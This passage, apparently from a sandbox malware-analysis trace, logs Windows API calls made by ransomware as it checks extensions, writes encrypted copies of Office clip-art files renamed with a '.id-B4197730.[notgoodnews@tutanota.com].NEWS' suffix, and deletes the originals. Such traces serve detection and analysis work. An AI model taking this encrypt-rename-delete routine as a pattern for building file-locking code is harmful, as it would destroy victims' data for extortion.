(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.233] lstrlenW (lpString=".1cd") returned 4 [0081.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.233] lstrlenW (lpString=".jpg") returned 4 [0081.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.233] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.233] lstrlenW (lpString="BS00092_.WMF") returned 12 [0081.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0081.233] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=7974) returned 1 [0081.234] CloseHandle (hObject=0x33c) returned 1 [0081.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0081.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0081.234] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.234] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0081.234] GetLastError () returned 0x0 [0081.234] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1f26, lpOverlapped=0x0) returned 1 [0081.236] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0081.237] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.237] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0081.237] SetEndOfFile (hFile=0x330) returned 1 [0081.237] CloseHandle (hObject=0x330) returned 1 [0081.238] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.238] SetEndOfFile (hFile=0x33c) returned 1 [0081.239] CloseHandle (hObject=0x33c) returned 1 [0081.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0081.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.240] lstrlenW (lpString=".doc") returned 4 [0081.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.240] lstrlenW (lpString=".docx") returned 5 [0081.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.240] lstrlenW (lpString=".pdf") returned 4 [0081.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.240] lstrlenW (lpString=".xls") returned 4 [0081.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.240] lstrlenW (lpString=".xlsx") returned 5 [0081.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.240] lstrlenW (lpString=".ppt") returned 4 [0081.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.240] lstrlenW (lpString=".zip") returned 4 [0081.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.240] lstrlenW (lpString=".rar") returned 4 [0081.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.240] lstrlenW (lpString=".bz2") returned 4 [0081.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.240] lstrlenW (lpString=".7z") returned 3 [0081.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.240] lstrlenW (lpString=".dbf") returned 4 [0081.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.240] lstrlenW (lpString=".1cd") returned 4 [0081.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.240] lstrlenW (lpString=".jpg") returned 4 [0081.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.241] lstrlenW (lpString=".doc") returned 4 [0081.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.241] lstrlenW (lpString=".docx") returned 5 [0081.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.241] lstrlenW (lpString=".pdf") returned 4 [0081.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.241] lstrlenW (lpString=".xls") returned 4 [0081.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.241] lstrlenW (lpString=".xlsx") returned 5 [0081.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.241] lstrlenW (lpString=".ppt") returned 4 [0081.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.241] lstrlenW (lpString=".zip") returned 4 [0081.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.241] lstrlenW (lpString=".rar") returned 4 [0081.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.241] lstrlenW (lpString=".bz2") returned 4 [0081.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.241] lstrlenW (lpString=".7z") returned 3 [0081.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.241] lstrlenW (lpString=".dbf") returned 4 [0081.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.241] lstrlenW (lpString=".1cd") returned 4 [0081.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0081.241] lstrlenW (lpString=".jpg") returned 4 [0081.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.242] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.242] lstrlenW (lpString="BS00100_.WMF") returned 12 [0081.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0081.242] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2378) returned 1 [0081.242] CloseHandle (hObject=0x33c) returned 1 [0081.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0081.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0081.242] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.242] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0081.243] GetLastError () returned 0x0 [0081.243] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x94a, lpOverlapped=0x0) returned 1 [0081.244] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x950, lpOverlapped=0x0) returned 1 [0081.245] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.245] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0081.245] SetEndOfFile (hFile=0x330) returned 1 [0081.245] CloseHandle (hObject=0x330) returned 1 [0081.246] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.246] SetEndOfFile (hFile=0x33c) returned 1 [0081.247] CloseHandle (hObject=0x33c) returned 1 [0081.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0081.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.247] lstrlenW (lpString=".doc") returned 4 [0081.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.248] lstrlenW (lpString=".docx") returned 5 [0081.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.248] lstrlenW (lpString=".pdf") returned 4 [0081.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.248] lstrlenW (lpString=".xls") returned 4 [0081.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.248] lstrlenW (lpString=".xlsx") returned 5 [0081.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.248] lstrlenW (lpString=".ppt") returned 4 [0081.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.248] lstrlenW (lpString=".zip") returned 4 [0081.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.248] lstrlenW (lpString=".rar") returned 4 [0081.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.248] lstrlenW (lpString=".bz2") returned 4 [0081.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.248] lstrlenW (lpString=".7z") returned 3 [0081.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.248] lstrlenW (lpString=".dbf") returned 4 [0081.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.248] lstrlenW (lpString=".1cd") returned 4 [0081.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.248] lstrlenW (lpString=".jpg") returned 4 [0081.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.248] lstrlenW (lpString=".doc") returned 4 [0081.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.248] lstrlenW (lpString=".docx") returned 5 [0081.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.248] lstrlenW (lpString=".pdf") returned 4 [0081.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.249] lstrlenW (lpString=".xls") returned 4 [0081.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.249] lstrlenW (lpString=".xlsx") returned 5 [0081.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.249] lstrlenW (lpString=".ppt") returned 4 [0081.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.249] lstrlenW (lpString=".zip") returned 4 [0081.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.249] lstrlenW (lpString=".rar") returned 4 [0081.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.249] lstrlenW (lpString=".bz2") returned 4 [0081.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.249] lstrlenW (lpString=".7z") returned 3 [0081.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.249] lstrlenW (lpString=".dbf") returned 4 [0081.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.249] lstrlenW (lpString=".1cd") returned 4 [0081.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0081.249] lstrlenW (lpString=".jpg") returned 4 [0081.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.249] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.249] lstrlenW (lpString="BS00135_.WMF") returned 12 [0081.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0081.250] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1044) returned 1 [0081.250] CloseHandle (hObject=0x33c) returned 1 [0081.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0081.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0081.250] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.250] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0081.251] GetLastError () returned 0x0 [0081.251] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x414, lpOverlapped=0x0) returned 1 [0081.503] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x420, lpOverlapped=0x0) returned 1 [0081.503] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.504] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0081.504] SetEndOfFile (hFile=0x330) returned 1 [0081.998] CloseHandle (hObject=0x330) returned 1 [0081.999] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.999] SetEndOfFile (hFile=0x33c) returned 1 [0082.000] CloseHandle (hObject=0x33c) returned 1 [0082.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0082.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.001] lstrlenW (lpString=".doc") returned 4 [0082.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.001] lstrlenW (lpString=".docx") returned 5 [0082.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.001] lstrlenW (lpString=".pdf") returned 4 [0082.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.001] lstrlenW (lpString=".xls") returned 4 [0082.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.001] lstrlenW (lpString=".xlsx") returned 5 [0082.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.001] lstrlenW (lpString=".ppt") returned 4 [0082.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.001] lstrlenW (lpString=".zip") returned 4 [0082.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.001] lstrlenW (lpString=".rar") returned 4 [0082.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.001] lstrlenW (lpString=".bz2") returned 4 [0082.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.001] lstrlenW (lpString=".7z") returned 3 [0082.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.001] lstrlenW (lpString=".dbf") returned 4 [0082.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.001] lstrlenW (lpString=".1cd") returned 4 [0082.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.001] lstrlenW (lpString=".jpg") returned 4 [0082.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.001] lstrlenW (lpString=".doc") returned 4 [0082.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.002] lstrlenW (lpString=".docx") returned 5 [0082.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.002] lstrlenW (lpString=".pdf") returned 4 [0082.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.002] lstrlenW (lpString=".xls") returned 4 [0082.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.002] lstrlenW (lpString=".xlsx") returned 5 [0082.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.002] lstrlenW (lpString=".ppt") returned 4 [0082.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.002] lstrlenW (lpString=".zip") returned 4 [0082.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.002] lstrlenW (lpString=".rar") returned 4 [0082.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.002] lstrlenW (lpString=".bz2") returned 4 [0082.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.002] lstrlenW (lpString=".7z") returned 3 [0082.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.002] lstrlenW (lpString=".dbf") returned 4 [0082.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.002] lstrlenW (lpString=".1cd") returned 4 [0082.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0082.002] lstrlenW (lpString=".jpg") returned 